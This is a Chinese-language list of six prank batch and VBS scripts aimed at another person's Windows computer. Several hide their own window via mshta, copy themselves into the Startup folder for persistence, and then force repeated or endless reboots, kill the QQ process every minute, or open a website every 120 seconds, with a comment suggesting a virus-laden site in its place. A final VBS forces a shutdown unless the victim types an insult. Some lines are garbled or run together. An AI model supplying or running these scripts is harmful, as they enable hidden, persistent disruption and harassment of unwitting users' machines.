1、让对方重启5次
@if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\"
@echo off
if not exist c:\1.txt echo. >c:\1.txt & goto err1
if not exist c:\2.txt echo. >c:\2.txt & goto err1
if not exist c:\3.txt echo. >c:\3.txt & goto err1
if not exist c:\4.txt echo. >c:\4.txt & goto err1
if not exist c:\5.txt echo. >c:\5.txt & goto err1
goto err2
:err1
shutdown.exe -r -t 0
:err2
2、狂闪电脑屏幕
@Echo Off
Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nul
color 0a
:a
cls
for /l %%b in (1,6,7)do (
color %�
)
goto a
3、每隔1分钟就停止QQ 过程
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:\Documents and Settings\Administrator\「开端」菜单\程序\启动\"
taskkill /f /im QQ.exe >nul
taskkill /f /im TXPlatform.exe >nul
ping 127.1 -n 600 1>nul
%0
4、每隔120秒就弹出指定网站!
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\"
start http://user.qzone.qq.com/10001058
::也能够换成有病毒的网站！不算恶吧？
ping 127.1 -n 120 1>nul
%0
5、无穷重启
Copy code
@echo offcopy /y %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\"shutdown.exe -r -t 0
6、输入“我是猪”否则关机（vbs）
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""请在弹出的对话框中输入‘我是猪’并且点肯定，否则我帮你关机,目前倒计时60秒，有种就别说"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","【^(oo)^】制造"," 请输入“我是猪”并且点断定，终止关机倒计时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
